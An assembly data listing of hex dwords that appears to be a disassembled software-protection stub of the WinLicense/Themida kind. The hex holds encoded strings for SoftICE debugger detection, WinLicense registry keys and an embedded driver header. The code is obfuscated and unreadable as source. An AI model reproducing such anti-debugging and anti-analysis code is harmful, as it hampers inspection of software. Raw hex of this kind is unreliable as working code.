		dd 20568E1Eh, 0A82770C5h, 0A8DBDA17h, 0FA9B5198h, 74404FD0h
		dd 951BBE26h, 0AE1CB4A3h, 0CF2A0C5Dh, 30EDCDFh,	2C89C520h
		dd 169D1363h, 0B4D32F78h, 0D27D5538h, 0A188D6E4h, 0CEAD0842h
		dd 0EB2CF412h, 3D6F309Ah, 20683719h, 3D42611Eh,	320E4FDDh
		dd 728A9h, 686E5A00h, 53735BE0h, 516956FDh, 557950FFh
		dd 5462ACFBh, 0C69A29F4h, 0C16EE2D8h, 0C16EE2DAh, 0DF64E4C4h
		dd 4267E9CDh, 79C3B500h, 0D5C0C69Ch, 547A52E5h,	82836906h
		dd 7C65EDC8h, 0A48BC95Fh, 0AC615C7Ah, 0D2330B43h, 0E92BE3B8h
		dd 0EACCDC13h, 2F7CC38Bh, 517AC10Fh, 0D4F65971h, 6241A8F6h
		dd 0D5F9D31Ch, 36F49328h, 0DCFF5B6Ah, 6B9h, 71DFFF25h
		dd 0EC2E02Ah, 8C0F821h,	4C4E823h, 5CBF33Fh, 695109B8h
		dd 6550FF51h, 7B50FF51h, 7EAEF55Bh, 9131F058h, 9C79BC04h
		dd 1244B7C6h, 6547A52h,	72C6EF39h, 28E1E5A0h, 0D9267445h
		dd 0A790EECEh, 5A7A4064h, 165DE1E9h, 0D7495377h, 467D8E9h
		dd 0F1CD113Bh, 75D84698h, 3A24FA8Fh, 6802FBh, 52440000h
		dd 7C424A7Ah, 0CBF3BB13h, 75E21AEEh, 6BC819C3h,	0C375E285h
		dd 0E26E4D9Eh, 0E25CD82Eh, 0DFC9C375h, 569A51FFh, 0ADBA1FB7h
		dd 0B3C95D54h, 3698BEECh, 92901DE3h, 0E6C516C6h, 0DA82C415h
		dd 35050D12h, 92908870h, 65A48BC6h, 0DE357041h,	0B363EDCDh
		dd 0D3E6BFECh, 0C692906Dh, 0E9C41566h, 5DA1818Ah, 5EC7Eh
		dd 7A52A800h, 1E7C424Ah, 0CC1997C6h, 0F4C5558Fh, 111C23ABh
		dd 2C89D925h, 0C3755D44h, 0FE3D0E5Fh, 3C58D080h, 0E5CC1BE5h
		dd 7DC3D6F8h, 76C37503h, 35BBC625h, 0FEB67E50h,	10054AE2h
		dd 10F934B3h, 0C95CF2EFh, 0EEB59BE4h, 0BBB098BEh, 5B7E5035h
		dd 0CCB864DEh, 7FC08ADBh, 75C20E2Eh, 0E65E7050h, 55422C99h
		dd 0FF280739h, 4BAA83DFh, 0C9C06F77h, 61AB86E5h, 8E15A05Dh
		dd 5DD701Dh, 56C56h, 0ACAA9600h, 97B797BCh, 95A592B9h
		dd 99BDECBBh, 98BEE8B7h, 2566DB0h, 1D2A2614h, 1D2A2616h
		dd 1B202808h, 8E232D31h, 7E0FF1C4h, 1904C69Ch, 3C6A35A1h
		dd 8AE9C01Eh, 7D4165A7h, 0E3C3CA55h, 5165509Fh,	0DECE2500h
		dd 1551A2F8h, 0E4CAC26Dh, 0EF2B796h, 5C375E2h, 0E0E6F934h
		dd 75E41CCAh, 0B52CDBC3h, 9167D98Ch, 0FFFFFEC9h, 4A7A52D5h
		dd 0D7207E5Ch, 0BF8EECE8h, 0A6C11D6Eh, 0B6034B4Ah, 0C95CE8B1h
		dd 2D3977CFh, 45638F8Ch, 84449566h, 0DA8260D8h,	0C8B26CBDh
		dd 651AD6EDh, 9E300121h, 6175ED6h, 4823F33Ch, 64BE4AB0h
		dd 6E4DE097h, 0BB185489h, 4350E8CCh, 993F109Dh,	9CED5E9Dh
		dd 0F43D02CAh, 0D297F6C4h, 0C8BB126Eh, 0E9D91465h, 0BB12AF14h
		dd 32103AC8h, 0A09483ECh, 585365Ah, 0D0F695B9h,	0A9A58C8h
		dd 164745Ch, 357E0000h,	3D01216Ah, 601491ECh, 88C2C329h
		dd 4B5D7BA7h, 0E536176Bh, 7975B099h, 9AA0EEB1h,	0A1066544h
		dd 0C95CEAD4h, 99A1EEC1h, 0B31B6445h, 3698BEECh, 92EA1DE3h
		dd 0E6C516C6h, 0F719D6EBh, 5C9098A8h, 4C6911B9h, 1CB4C7E4h
		dd 74FAEFFh, 0FBDBF05Fh, 73B294B4h, 9DCB0596h, 0ADF1C216h
		dd 973FDE12h, 0F529AB02h, 3E69402Ch, 807B3517h,	340526D7h
		dd 1CB687E6h, 1B71B424h, 0AF8E60DEh, 2E301827h,	13331522h
		dd 0DC716D6Eh, 0FEDD754Fh, 3EDh, 3D132B11h, 3A163416h
		dd 3414246Dh, 30183C6Fh, 311F3F6Bh, 959DD5ECh, 919CABA5h
		dd 8F9CABA5h, 0B29AA1AFh, 450DBCACh, 9C7C8870h,	2E988BC6h
		dd 1F3F6A35h, 4A4BA1DCh, 7CC5B500h, 0F1C2C95Fh,	7C5576D9h
		dd 88E932Dh, 5BF5C6F7h,	0A3FFDFCCh, 0AD527454h,	6A36B736h
		dd 8ED586A2h, 0F0000003h, 0F15EF2C4h, 0CC5BF5D5h, 0CE55FBC3h
		dd 0CA51FFDFh, 4352FEDCh, 4327C34h, 4307FC4h, 0E2E7FC4h
		dd 735375C2h, 0DFFAECDDh, 0C69C7C69h, 524F3B6Ah, 3906547Ah
		dd 84F3CFEFh, 115EBC9Ah, 0B2C61434h, 0D61DA129h, 0CF3B13B7h
		dd 24C375E4h, 0D98CE47Dh, 0FCFFE267h, 52E4FFFFh, 7E5C4A7Ah
		dd 3AB6D12Dh, 0E44B735Bh, 6DBC82A4h, 0F028A90Eh, 54A5C95Ch
		dd 45E4D4F4h, 2FE6AE42h, 84FC24B9h, 0E43199EAh,	0C95CC417h
		dd 0D69C331Ch, 237F5F49h, 900EEBCAh, 896E6A63h,	8D28A263h
		dd 64A2471Ch, 5C24F1D9h, 0C9709054h, 48A1FDDDh,	7EC2D7FFh
		dd 75709054h, 0E083DB24h, 0D89ADD6Ah, 7A1569BAh, 9A3F9776h
		dd 7AB8A503h, 3FE7EF38h, 0D4172710h, 418FAFF9h,	0F8CD2FAh
		dd 1E19F2E2h, 0AEAD2E0Ah, 0D0000002h, 0D17ED2E4h, 2C7BD5F5h
		dd 2E75DBE3h, 2A71DFFFh, 0A372DEFCh, 64525C14h,	64505FE4h
		dd 6E4E5FE4h, 537355E2h, 3F9ACCFDh, 0C69C7D49h,	26F5B4Ah
		dd 12A72FEEh, 0C95F7CB2h, 0D8B3E840h, 0BD269F70h, 2ABC8D7Eh
		dd 0AE200005h, 56A48481h, 13383477h, 0F8B01A3Ah, 960077A3h
		dd 1D6540C3h, 40288DB5h, 43C69C25h, 0CCDC3372h,	0C2D235EAh
		dd 0C21E6A36h, 23899h, 587EAA00h, 4363ABF0h, 4179A68Dh
		dd 4569A08Fh, 4472BC8Bh, 0D68A3984h, 0D17ED2E8h, 0D17ED2EAh
		dd 2F74D4F4h, 0B277D9FDh, 7D338510h, 0C530C69Ch, 2FEE0295h
		dd 7CB212A7h, 68B9C95Fh, 0EFCFD966h, 6C7258E7h,	70FC3F0Eh
		dd 4D7CF44Ch, 8B52D343h, 35D615A8h, 6FAE389Dh, 7445C69Ch
		dd 0F286BE26h, 263CE5B2h, 0B8E6CD28h, 2767C882h, 93D23B07h
		dd 101E25AFh, 0D17E262Ah, 0BA0EABEAh, 0B9C69C1Ah, 0A1DC1F68h
		dd 0B401494Ah, 0C69C1AD4h, 0D55B7E26h, 0EEC69C1Ah, 9CED5E9Dh
		dd 0C69C72CAh, 2FE98FB3h, 8385F2CCh, 28775FA3h,	25FADCE2h
		dd 7218E5Dh, 3B185093h,	3403CD11h, 0A0983214h, 251E8CA5h
		dd 0F2C78F54h, 0C69CC70Eh, 89F93405h, 8D711008h, 784674A2h
		dd 783D211h, 314A63A5h,	357D7212h, 75C20E5Fh, 0C02F7353h
		dd 0F69AE0D6h, 0A5E74545h, 0B6E04F81h, 52ABA80h, 8DDC2202h
		dd 9AEBF5AEh, 4D75D7F3h, 0FA3E5104h, 0F1D984EBh, 9C215C24h
		dd 350657C6h, 34020C1Bh, 0F146FEE6h, 0BB475AF4h, 0C5FAFFF4h
		dd 0BDCABFDh, 0E0C0C528h, 5666AD9Ah, 0C4F03F08h, 65CBEEF6h
		dd 7EC69C41h, 9C3A712Dh, 64DC9412h, 795AB2F1h, 0C190D364h
		dd 1F3F6BB9h, 9EA0E8B7h, 691FE134h, 0CB14C69Ch,	97B864E8h
		dd 634A90B4h, 0A2FB2D00h, 9C69A117h, 51A2C6h, 0C137473Ah
		dd 0F2997E00h, 725474D4h, 4B6E16DEh, 7D2910E5h,	634EADFEh
		dd 0CE390529h, 5BA4FAC0h, 360E6C70h, 0B714AB3Fh, 0F7220DD9h
		dd 68DBFBC7h, 0EAC8C26Eh, 8564B594h, 2464C4C2h,	2761CE02h
		dd 509C3B07h, 955D054Dh
		dd 29CDB800h, 0BD16327Dh, 0CED07EA9h, 0C8DD2C7Dh, 3F2C8DE8h
		dd 0B47700D0h, 1639E56Bh, 0E0C91535h, 13F2FE85h, 38861EBBh
		dd 7C4D0D1Ch, 0AEF7D11Eh, 593CA50Bh, 5873BE09h,	0F6C72674h
		dd 8C9CABA5h, 39E154AAh, 28D533BBh, 818B19A1h, 848493BDh
		dd 38135CA2h, 29B2C614h, 3B0903A1h, 9BF2C80Ch, 0F33F004Ah
		dd 0DF64E8CBh, 0C695E9CDh, 11h,	0C2EB230Ch, 17CC008Fh
		dd 0EECC1D1Ch, 230A5C9Fh, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h
		dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h,	4179A691h
		dd 3A18327Dh, 895102E4h, 4BA52E1h, 1000000h, 0E9835AD1h
		dd 240C8704h, 43D5685Ch, 0C890000h, 0E7895724h,	4C781h
		dd 0EF830000h, 243C8704h, 2404895Ch, 76ACBA52h,	0F2814646h
		dd 788664CDh, 2B9FCA81h, 0EA81078Dh, 39E3A190h,	545AD189h
		dd 8324048Bh, 0EC8104C4h, 4, 8F240C89h,	48B0840h, 0E1895124h
		dd 4C181h, 0C1810000h, 4, 5C240C87h, 56240C8Bh,	0C681E689h
		dd 4, 4C681h, 34870000h, 94E95C24h, 0EAFFFDDAh,	6BE4B718h
		dd 0C53638C7h, 0B896E534h, 5E9A255h, 0E0FFC503h, 3C9172A7h
		dd 515868A6h, 7B773C57h, 55C907D9h, 17F85773h, 45A10BB9h
		dd 8F016D2h, 1438FF90h,	6948E40Dh, 1BBA5717h, 3262E0FEh
		dd 1F3E96E5h, 14C5098h,	2EA1ABAAh, 3A4F5EA9h, 5B3F49DDh
		dd 4FE916A6h, 166E86EDh, 62289373h, 10903F8Dh, 4F33B979h
		dd 1019C8CCh, 2EEEFFE2h, 4330009Fh, 75BADF69h, 6B8C9347h
		dd 5C26C668h, 8E8h, 7DF8F100h, 4207F29Ah, 0BBC88156h, 5A2A9AA1h
		dd 0EFE08166h, 46C281A1h, 0F8000061h, 182668h, 0C0BF6600h
		dd 32FF5BDEh, 0F59F88Bh, 88h, 5EF18100h, 0E95ECD9Eh, 7
		dd 0C5692D66h, 817F057Dh, 791281C1h, 10E92Ah, 200D0000h
		dd 20ED1585h, 347EE2A5h, 0C1DC1044h, 0C18191B0h, 613BA6BAh
		dd 38B0Fh, 8B660000h, 830A89F2h, 4AF902EAh, 50BE534Ah
		dd 5E34D3F9h, 15850F4Bh, 0B8000000h, 136C8310h,	26E9h
		dd 30F3D00h, 2DC09768h,	775196D3h, 0E9F18B66h, 0FFFFFF86h
		dd 8333C244h, 9867DE1Dh, 0B0B03ABCh, 48211216h,	0E9DFB7C9h
		dd 72h,	0D5BD8360h, 5E730h, 5840Fh, 5DE90000h, 6A000000h
		dd 303E8000h, 8850Fh, 6A0000h, 35E946h,	3E800000h, 8850F33h
		dd 6A000000h, 24E94610h, 80000000h, 850F343Eh, 8, 0E946306Ah
		dd 13h,	0F353E80h, 885h, 46406A00h, 2E9h, 8D006A00h, 0E7148985h
		dd 90509005h, 24348950h, 95FF006Ah, 5E70AA9h, 85C6C361h
		dd 5E707F9h, 40D3684Dh,	4814DCAh, 6B35D524h, 0C5B5FF56h
		dd 8D05E713h, 0E7391785h, 89D0FF05h, 0E70AA985h, 0AAE905h
		dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
		dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
		dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
		dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
		dd 4E4963h, 636F7250h, 54554Fh,	74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 57858900h, 8D05E9A5h
		dd 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h, 95FF8000h
		dd 5E9A563h, 0B5FF196Ah, 5E9A557h, 6A016Ah, 0A4EC858Dh
		dd 0FF5005E9h, 0E9A553B5h, 595FF05h, 0FF05E702h, 0E9A553B5h
		dd 5F95FF05h, 0FF05E9A5h, 0E9A553B5h, 5195FF05h, 0C305E709h
		dd 0A5578589h, 858D05E9h, 5E9A553h, 0BD858D50h,	5005E9A4h
		dd 168h, 6395FF80h, 6A05E9A5h, 57858D04h, 5005E9A5h, 6A046Ah
		dd 0A516858Dh, 0FF5005E9h, 0E9A553B5h, 595FF05h, 0FF05E702h
		dd 0E9A553B5h, 5F95FF05h, 0FF05E9A5h, 0E9A553B5h, 5195FF05h
		dd 0C305E709h, 0A5578589h, 858D05E9h, 5E9A553h,	0BD858D50h
		dd 5005E9A4h, 168h, 6395FF80h, 6A05E9A5h, 57858D04h, 5005E9A5h
		dd 6A046Ah, 0A4FE858Dh,	0FF5005E9h, 0E9A553B5h,	595FF05h
		dd 0FF05E702h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h, 0E9A553B5h
		dd 5195FF05h, 0C305E709h, 0A5578589h, 858D05E9h, 5E9A553h
		dd 0BD858D50h, 5005E9A4h, 168h,	6395FF80h, 6A05E9A5h, 57858D04h
		dd 5005E9A5h, 6A046Ah, 0A529858Dh, 0FF5005E9h, 0E9A553B5h
		dd 595FF05h, 0FF05E702h, 0E9A553B5h, 5F95FF05h,	0FF05E9A5h
		dd 0E9A553B5h, 5195FF05h, 0C305E709h, 0A5578589h, 858D05E9h
		dd 5E9A553h, 0BD858D50h, 5005E9A4h, 168h, 6395FF80h, 6A05E9A5h
		dd 57858D04h, 5005E9A5h, 6A046Ah, 0A4D9858Dh, 0FF5005E9h
		dd 0E9A553B5h, 595FF05h, 0FF05E702h, 0E9A553B5h, 5F95FF05h
		dd 0FF05E9A5h, 0E9A553B5h, 5195FF05h, 0C305E709h, 2045BD83h
		dd 0F0005E7h, 0B84h, 459D8B00h,	8305E720h, 3894CC3h, 45BD83C3h
		dd 5E720h, 0B840Fh, 9D8B0000h, 5E72045h, 8950C383h, 0BD83C303h
		dd 5E72045h, 0B840F00h,	8B000000h, 0E720459Dh, 54C38305h
		dd 83C30389h, 0E72045BDh, 840F0005h, 0Bh, 20459D8Bh, 0C38305E7h
		dd 0C3038958h, 2045BD83h, 0F0005E7h, 0B84h, 459D8B00h
		dd 8305E720h, 3895CC3h,	8960C3C3h, 0E9A55785h, 53858D05h
		dd 5005E9A5h, 0A4BD858Dh, 685005E9h, 80000001h,	0A56395FFh
		dd 46A05E9h, 0A557858Dh, 6A5005E9h, 8D006A04h, 0E9A54E85h
		dd 0B5FF5005h, 5E9A553h, 20595FFh, 0BD8305E7h, 5E70D79h
		dd 0C840F00h, 0FF000000h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h
		dd 0E9A553B5h, 5195FF05h, 6105E709h, 858960C3h,	5E9A557h
		dd 0A553858Dh, 8D5005E9h, 0E9A4BD85h, 1685005h,	0FF800000h
		dd 0E9A56395h, 8D046A05h, 0E9A55785h, 46A5005h,	858D006Ah
		dd 5E9A530h, 53B5FF50h,	0FF05E9A5h, 0E7020595h,	79BD8305h
		dd 5E70Dh, 0C840Fh, 0B5FF0000h,	5E9A553h, 0A55F95FFh, 0B5FF05E9h
		dd 5E9A553h, 95195FFh, 0C36105E7h, 57858960h, 8D05E9A5h
		dd 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h, 95FF8000h
		dd 5E9A563h, 858D046Ah,	5E9A557h, 6A046A50h, 37858D00h
		dd 5005E9A5h, 0A553B5FFh, 95FF05E9h, 5E70205h, 0D79BD83h
		dd 0F0005E7h, 0C84h, 53B5FF00h,	0FF05E9A5h, 0E9A55F95h
		dd 53B5FF05h, 0FF05E9A5h, 0E7095195h, 60C36105h, 0A5578589h
		dd 858D05E9h, 5E9A553h,	0BD858D50h, 5005E9A4h, 168h, 6395FF80h
		dd 6A05E9A5h, 57858D04h, 5005E9A5h, 6A046Ah, 0A53F858Dh
		dd 0FF5005E9h, 0E9A553B5h, 595FF05h, 8305E702h,	0E70D79BDh
		dd 840F0005h, 0Ch, 0A553B5FFh, 95FF05E9h, 5E9A55Fh, 0A553B5FFh
		dd 95FF05E9h, 5E70951h,	8960C361h, 0E9A55785h, 53858D05h
		dd 5005E9A5h, 0A4BD858Dh, 685005E9h, 80000001h,	0A56395FFh
		dd 46A05E9h, 0A557858Dh, 6A5005E9h, 8D006A04h, 0E9A54685h
		dd 0B5FF5005h, 5E9A553h, 20595FFh, 0BD8305E7h, 5E70D79h
		dd 0C840F00h, 0FF000000h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h
		dd 0E9A553B5h, 5195FF05h, 6105E709h, 85C760C3h,	5E9A557h
		dd 1, 0A553858Dh, 8D5005E9h, 0E9A4BD85h, 2685005h, 0FF800000h
		dd 0E9A56395h, 0FC00B05h, 0F84h, 5785C700h, 5E9A5h, 0E9000000h
		dd 4Dh,	858D046Ah, 5E9A557h, 6A046A50h,	0D1858D00h, 5005E9A4h
		dd 0A553B5FFh, 95FF05E9h, 5E70205h, 840FC00Bh, 0Fh, 0A55785C7h
		dd 5E9h, 0AE90000h, 0C7000000h,	0E9A55785h, 105h, 53B5FF00h
		dd 0FF05E9A5h, 0E7095195h, 858B6105h, 5E9A557h,	858960C3h
		dd 5E9A557h, 0A553858Dh, 8D5005E9h, 0E9A4BD85h,	1685005h
		dd 0FF800000h, 0E9A56395h, 8D046A05h, 0E9A55785h, 46A5005h
		dd 858D006Ah, 5E9A4D1h,	53B5FF50h, 0FF05E9A5h, 0E7020595h
		dd 79BD8305h, 5E70Dh, 0C840Fh, 0B5FF0000h, 5E9A553h, 0A55F95FFh
		dd 0B5FF05E9h, 5E9A553h, 95195FFh, 0C36105E7h, 57858960h
		dd 8D05E9A5h, 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h
		dd 95FF8000h, 5E9A563h,	858D046Ah, 5E9A557h, 6A046A50h
		dd 0E3858D00h, 5005E9A4h, 0A553B5FFh, 95FF05E9h, 5E70205h
		dd 0D79BD83h, 0F0005E7h, 0C84h,	53B5FF00h, 0FF05E9A5h
		dd 0E9A55F95h, 53B5FF05h, 0FF05E9A5h, 0E7095195h, 0C6C36105h
		dd 0E707F985h, 7685205h, 0FFADE47Bh, 0E705F1B5h, 5595FF05h
		dd 8905E731h, 0E9A56385h, 0F985C605h, 5205E707h, 2E00E568h
		dd 0F1B5FF90h, 0FF05E705h, 0E7315595h, 5F858905h, 0C605E9A5h
		dd 0E707F985h, 35685205h, 0FFB9BF12h, 0E705F1B5h, 5595FF05h
		dd 8905E731h, 0E7020585h, 0F985C605h, 5205E707h, 78103468h
		dd 0F1B5FF98h, 0FF05E705h, 0E7315595h, 51858905h, 0C605E709h
		dd 0E707F985h, 0D4685205h, 0FFC005DBh, 0E705F1B5h, 5595FF05h
		dd 8905E731h, 0E70AC185h, 5C1EEB05h, 535C2E5Ch,	454349h
		dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
		dd 8BC08B00h, 79BD83C8h, 5E70Dh, 0BD830975h, 5E71C15h
		dd 50197400h, 0B8C08B53h, 40Fh,	13D58589h, 9D8D05E7h, 5E9AA34h
		dd 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535017h,	40Fh, 13D58589h
		dd 9D8D05E7h, 5E9A723h,	585BD3FFh, 13E9h, 0B7D4B100h, 0B4E4A280h
		dd 1806CF5h, 1FDA833Ah,	18239340h, 1C75BD89h, 0C08B05E7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AAC35545h
		dd 3A40300Ch, 0C63127FCh, 0E707F985h, 95294305h, 5E70B4Dh
		dd 34194968h, 49BE5188h, 5F480AD6h, 0B3240481h,	29345A55h
		dd 0E7090D9Dh, 25B5FF05h, 0F05E70Ch, 858DFFB7h,	5E73917h
		dd 0E8A0Fh, 8B600000h, 0E715E98Dh, 860F05h, 61000000h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 326C5FC3h, 81B25D03h, 0C5F68166h,	6660902Dh
		dd 0E83B5EB9h, 0Fh, 208B0360h, 0E387BBD3h, 7448463Bh, 505CF7D1h
		dd 5A310F52h, 50615B58h, 6A90D68Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6601C356h
		dd 0DB58BB2h, 8B05E72Dh, 0E731F5BDh, 55BD2B05h,	6A05E72Ah
		dd 0ED958900h, 6805E727h, 977D4268h, 0BE95250h,	0DC000000h
		dd 8469CA5Fh, 0F7F9E7CEh, 310F11F4h, 5AF28B66h,	24048158h
		dd 6882BE18h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 15h,	46C35343h, 36AF8E2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DFC35242h
		dd 313C3E42h, 0B953E3E9h, 1721FDEEh, 0E9006A5Ah, 13h, 0E2D7FB2Ch
		dd 0A3E26888h, 0D744890Fh, 0B88E57E5h, 6071DB19h, 0D9B70F57h
		dd 3810F5Eh, 0F000000h,	6A61C9B7h, 42F3BE03h, 4E858C2h
		dd 0
		dd 0E9C00000h, 13h, 0B5D37AC0h,	0E2554949h, 0D07B1D8Eh
		dd 30515947h, 5086BE5Fh, 9350B966h, 424448Bh, 0FE8h, 4DCE500h
		dd 9417F361h, 0E14A8DAAh, 0FB3F67CBh, 52008B5Fh, 7D6CB966h
		dd 2444895Fh, 8D0F5204h, 5, 5AB7AABEh, 0F9585926h, 0AB9A9D8Dh
		dd 958B05E9h, 5E73105h,	2CBF5150h, 5E0397B8h, 0F8241C89h
		dd 8166D0FFh, 4050E8F1h, 1EF850Fh, 58F90000h, 85BD8Bh
		dd 509005E7h, 0A8A0Fh, 5E90000h, 0D2000000h, 0FEAEF161h
		dd 0C9B58B90h, 6A05E70Ch, 62BE6600h, 7F0C68FBh,	0BA66A5C7h
		dd 4817AB4h, 38817424h,	61BD895Ah, 6A05E702h, 53006A03h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0F5403CDFh, 0BA66006Ah, 36AE6E8h, 785B529h, 7B6805E7h
		dd 0B9BE2593h, 74774918h, 85240481h, 6601DA6Ch,	9D8DF18Bh
		dd 5E9ABA3h, 21B18D8Bh,	509305E7h, 8A0F52h, 0F000000h
		dd 14E831h, 0DE4C0000h,	2746B000h, 87D441ABh, 0B8C09C32h
		dd 0BAA35F4Bh, 0F98B242Bh, 50585A59h, 57006A93h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0E63DC716h, 6840Fh, 0B5030000h, 5E722E1h, 9919589h
		dd 0D0FF05E7h, 66EF8166h, 890F61h, 40000000h, 0F3850Fh
		dd 0B70F0000h, 48B966CAh, 0B5035839h, 5E720E1h,	0F890F50h
		dd 50000000h, 0D78B6652h, 5250310Fh, 585A310Fh,	489585Ah
		dd 0BDBD8B24h, 6A05E70Ah, 0B9665100h, 0E85EAB4Ah, 4, 80h
		dd 3820Fh, 8B660000h, 0CE8B50F1h, 424448Bh, 6660008Bh
		dd 67B9F78Bh, 6110FF58h, 4244489h, 58CA8B66h, 6A0AD980h
		dd 13E803h, 9B2C0000h, 57E11EF2h, 0C80E45EAh, 5C5D065Fh
		dd 109415D2h, 81B58B4Ch, 5A05E702h, 36A006Ah, 6E03E168h
		dd 81FB8BB0h, 0FC1F2404h, 9D8D0F91h, 5E9ABAEh, 30B9B533h
		dd 665005E7h, 1C89FA8Bh, 0FE924h, 0B0B00000h, 48211216h
		dd 4DDFB7C9h, 9CEFB695h, 23D0FFEFh, 0E70E1995h,	38F2BF05h
		dd 0F407CD1h, 2085h, 68F0F00h, 8B000000h, 0E713A1BDh, 85895805h
		dd 5E70725h, 0E9FABF0Fh, 102h, 0B0D78166h, 2BD88BF4h, 0E70785B5h
		dd 8B534B05h, 89585FD6h, 0E72B41BDh, 2BD28005h,	7F985C6h
		dd 664305E7h, 7AE4DA81h, 4E8h, 764AA700h, 3850FC0h, 66000000h
		dd 8B50FA8Bh, 0F042444h, 1984h,	14E900h, 0BA7B0000h, 20FD2453h
		dd 899A9A15h, 35850079h, 69B4A899h, 8B1BDEh, 5A89B157h
		dd 4244489h, 28E0Fh, 0D08B0000h, 71858958h, 0FF05E72Fh
		dd 0E70C25B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 89249F07h, 2CCFDA93h
		dd 0D9812B9Ah, 515143C8h, 3917858Dh, 9D8905E7h,	5E7062Dh
		dd 850FD0FFh, 0Fh, 0AE9h, 0D9CCBE00h, 4DBAB54Ah, 895EA2C2h
		dd 0E703B5BDh, 43B65005h, 8A241C89h, 0FD0FFF7h,	681h, 15958B00h
		dd 8D05E705h, 0E771899Dh, 51ADBA05h, 1B83EBCh, 89000000h
		dd 0E7004585h, 0FCE3FF05h, 0C18BF08Bh, 5E18D89h, 0B58905E7h
		dd 5E71785h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 8780C2C3h, 79BD83EEh, 5E70Dh, 0BD830975h
		dd 5E71C15h, 50197400h,	0B8C08B53h, 40Fh, 0F2D8589h, 9D8D05E7h
		dd 5E9AA9Bh, 585BD3FFh,	1C15BD83h, 740005E7h, 0B8535017h
		dd 40Fh, 0F2D8589h, 9D8D05E7h, 5E9A73Ch, 585BD3FFh, 87EA8166h
		dd 0B58B6019h, 5E70895h, 0E8C08B61h, 9,	56B805DCh, 0DF142CB1h
		dd 18B966C0h, 8B665A53h, 1C281F8h, 29000070h, 0E704F5BDh
		dd 1BD9B805h, 0CE8B0000h, 9D23328Bh, 5E70779h, 3940C681h
		dd 13E8645Eh, 0E7000000h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h
		dd 0D2658BE6h, 9D31EA64h, 5E70645h, 2AC6815Fh, 8B0D61D3h
		dd 0E716D99Dh, 0D2EE8105h, 177A7A5h, 0E73191BDh, 0E9805605h
		dd 0F028F0Dh, 684h, 0DD8D3300h,	8305E70Ch, 0E96004EAh
		dd 9, 0F82E50D5h, 0CE496010h, 45958BD2h, 6105E701h, 0F01E883h
		dd 0FFFF8785h, 8CB966FFh, 20EE95Bh, 43330000h, 6F6E6E61h
		dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h
		dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h
		dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh
		dd 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 0F985C600h, 4705E707h, 0E45B8668h, 25B5FFE3h
		dd 8D05E70Ch, 0E7391785h, 68D0FF05h, 104h, 2FA59D8Dh, 0FF5305E7h
		dd 0B58D50D0h, 5E9B451h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E707F9h, 6EFC6843h
		dd 0B5FFBC8Eh, 5E70C25h, 3917858Dh, 0D0FF05E7h,	2FA5B58Dh
		dd 6A05E7h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 0F985C6D8h, 5705E707h, 9BEE5668h, 25B5FFA6h,	8D05E70Ch
		dd 0E7391785h, 8DD0FF05h, 0E70B9DBDh, 778D8D05h, 6A05E9B5h
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 0E9B259B5h, 1F858D05h, 0FF05E9A4h, 898D8DD0h, 0B805E771h
		dd 0
		dd 85C6E1FFh, 5E707F9h,	4AA76843h, 0B5FFC076h, 5E70C25h
		dd 3917858Dh, 0D0FF05E7h, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
